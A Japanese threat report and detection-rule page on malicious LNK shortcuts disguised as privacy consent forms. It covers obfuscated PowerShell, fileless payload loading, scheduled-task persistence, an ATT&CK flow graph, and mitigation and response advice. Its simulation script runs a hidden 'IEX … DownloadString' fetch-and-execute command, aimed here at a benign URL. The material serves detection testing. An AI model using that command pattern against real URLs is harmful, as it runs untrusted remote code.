プライバシー同意書として偽装されたショートカットファイルの中身とは?
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターは、プライバシー同意書に偽装した悪意のあるLNKファイルを配布して、ユーザーを騙してそれらを開かせようとしています。実行されると、これらのショートカットファイルは難読化されたPowerShellコマンドを起動し、ファイルレス技術を使って追加のペイロードを取得して実行します。この攻撃チェーンは情報を盗むために設計されており、アクセスと永続性を保つのに役立つバックドアローダーを展開します。
調査
調査の結果、LNKファイルには、後続スクリプトをダウンロードする難読化されたPowerShellコードが埋め込まれていることがわかりました。これらの二次スクリプトには、正規のウェブサービスからペイロードを引き出すダウンローダーと、それをメモリ上で直接実行するローダーが含まれています。脅威アクターは永続性のためにWindows Task Schedulerも悪用し、悪意のある活動を正当であるかのように見せかけるために誘導文書を使用しています。
軽減策
組織は、ファイル拡張子を厳格に検証し、通常のドキュメントに偽装されたLNKファイルに対する警告をユーザーに行うべきです。セキュリティチームは、タスクスケジューラーの活動、PowerShellの実行ログ、および外部ネットワーク接続を綿密に監視する必要があります。また、ユーザーは、開く前にすべての受信ファイルの送信元と提供経路を確認するように訓練される必要があります。
対応
この活動が検出された場合、管理者は直ちに疑わしいタスクスケジューラーのエントリと、ユーザーアクセス可能なディレクトリでの異常なPowerShellスクリプトの作成をレビューするべきです。PowerShellログを分析し、特に正規のクラウドプラットフォームまたはウェブストレージサービスに関与する外部接続を追跡する必要があります。識別された悪意のあるスクリプトと無許可のネットワークトラフィックに対して完全なフォレンジック調査を実施する必要があります。
graph TB %% クラス定義 classDef initial_access fill:#f96,stroke:#333,stroke-width:2px classDef execution fill:#69f,stroke:#333,stroke-width:2px classDef persistence fill:#6c6,stroke:#333,stroke-width:2px classDef discovery fill:#ff9,stroke:#333,stroke-width:2px classDef exfiltration fill:#f66,stroke:#333,stroke-width:2px %% 初期アクセス段階 action_user_exec[“<b>アクション</b> – <b>T1204.002 User Execution: Malicious File</b><br/>被害者が同意書に偽装された<br/>不正な .LNK ショートカットファイルを実行する。”] class action_user_exec initial_access action_masquerade[“<b>アクション</b> – <b>T1036.008 Masquerading: Masquerade File Type</b><br/>.LNK ファイルが正規の<br/>個人情報同意フォームを偽装する。”] class action_masquerade initial_access %% 実行段階 action_obfuscation[“<b>アクション</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/>.LNK ファイルには難読化された<br/>PowerShell スクリプトペイロードが含まれる。”] class action_obfuscation execution action_cloud_api[“<b>アクション</b> – <b>T1059.009 Command and Scripting Interpreter: Cloud API</b><br/>PowerShell スクリプトがクラウドサービスを利用し、<br/>追加の悪意あるスクリプトをダウンロードする。”] class action_cloud_api execution action_proxy_exec[“<b>アクション</b> – <b>T1216 System Script Proxy Execution</b><br/>マルウェアはシステムスクリプトの<br/>プロキシ実行を利用して検出を回避する。”] class action_proxy_exec execution action_reflective_load[“<b>アクション</b> – <b>T1620 Reflective Code Loading</b><br/>ダウンロードされたスクリプトは<br/>ファイルレス方式でメモリ上にて実行される。”] class action_reflective_load execution %% 永続化段階 action_scheduled_task[“<b>アクション</b> – <b>T1053 Scheduled Task/Job</b><br/>Windows タスク スケジューラにタスクを登録し、<br/>再起動後も実行できるようにする。”] class action_scheduled_task persistence %% 探索段階 action_sys_info[“<b>アクション</b> – <b>T1082 System Information Discovery</b><br/>PowerShell スクリプトが OS 情報、<br/>ネットワーク設定、IP アドレスを収集する。”] class action_sys_info discovery action_query_reg[“<b>アクション</b> – <b>T1012 Query Registry</b><br/>スクリプトがレジストリを検索し、<br/>実行中のプロセスやセキュリティ製品を特定する。”] class action_query_reg discovery %% 目的段階 action_backdoor[“<b>アクション</b> – <b>Backdoor loader-type</b><br/>アクセスを維持し、追加の<br/>悪意ある活動を可能にする。”] class action_backdoor exfiltration action_selective_exclusion[“<b>アクション</b> – <b>T1679 Selective Exclusion</b><br/>バックドアは選択的除外を利用して<br/>セキュリティ制御を回避する。”] class action_selective_exclusion exfiltration %% 接続フロー action_user_exec –>|つながる| action_masquerade action_masquerade –>|誘発する| action_obfuscation action_obfuscation –>|含む| action_cloud_api action_cloud_api –>|展開する| action_proxy_exec action_proxy_exec –>|実行する| action_reflective_load action_reflective_load –>|確立する| action_scheduled_task action_scheduled_task –>|実行する| action_sys_info action_sys_info –>|導く| action_query_reg action_query_reg –>|通知する| action_backdoor action_backdoor –>|有効化する| action_selective_exclusion
攻撃フロー
検出
Wmi PowerShellモジュールを使用したシステム情報の発見の可能性 (PowerShell経由)
ビュー
PowerShellを介したPowerShell難読化のインジケーターの可能性
ビュー
悪意のあるLNKファイルの実行により、外部ダウンロードおよび接続が発生する可能性 [Windowsネットワーク接続]
ビュー
タスクスケジューラーを使用した悪意のあるLNKファイルの実行と永続性 [Windowsプロセス作成]
ビュー
難読化されたPowerShellを実行する悪意のあるLNKファイル [Windows PowerShell]
ビュー
シミュレーション実行
前提条件: テレメトリとベースラインのプレフライトチェックに合格している必要があります。
合理性: このセクションは、検出ルールをトリガーするように設計された攻撃者技術 (TTP) の正確な実行を詳述します。コマンドと記述は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的とします。抽象的または無関係な例は誤診につながります。
-
攻撃の構成とコマンド: 攻撃者は初期アクセスを確立し、第二段階のマルウェアペイロードをダウンロードしようとしています。単純なファイルスキャナーによる検出を回避するために、LNK (ショートカット) ファイルを使用します。このLNKファイルは、
powershell.exeを隠しウィンドウで実行するように作成されています。PowerShellに渡されるコマンドは、Invoke-ExpressionandDownloadStringを使用してリモートURLからスクリプトを取得します。これは正規バイナリを用いてマルウェア行動を実行する現実世界の「Living-off-the-Land」(LotL) 攻撃を模倣していて、伝統的なシグネチャベースのアンチウイルスを回避することを目的としています。 -
回帰テストスクリプト:
# 1. ターゲットURLを定義します(テスト用に無害なサイトを使用)。 $url = "https://www.google.com" # 2. 悪意のあるPowerShellペイロード文字列を作成します。 # この文字列は、'DownloadString' と 'Invoke-Expression' の検出をトリガーするよう設計されています。 $payload = "IEX (New-Object Net.WebClient).DownloadString('$url')" # 3. ダミーのLNKファイルの内容を作成します(シミュレーション)。 # 実際の攻撃では、これはバイナリの.lnkファイルです。 # ここでは、スクリプトブロックログが検証のために生成されることを保証するためにコマンドを直接実行します。 Write-Host "[+] LNKペイロードを介した悪意のあるPowerShell実行をシミュレートしています..." powershell.exe -WindowStyle Hidden -Command $payload Write-Host "[+] シミュレーションコマンドが実行されました。イベントID 4104を確認してください。" -
クリーンアップコマンド:
# ファイルが作成された場合は、アーティファクトを削除します。 Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue Write-Host "[+] クリーンアップが完了しました。"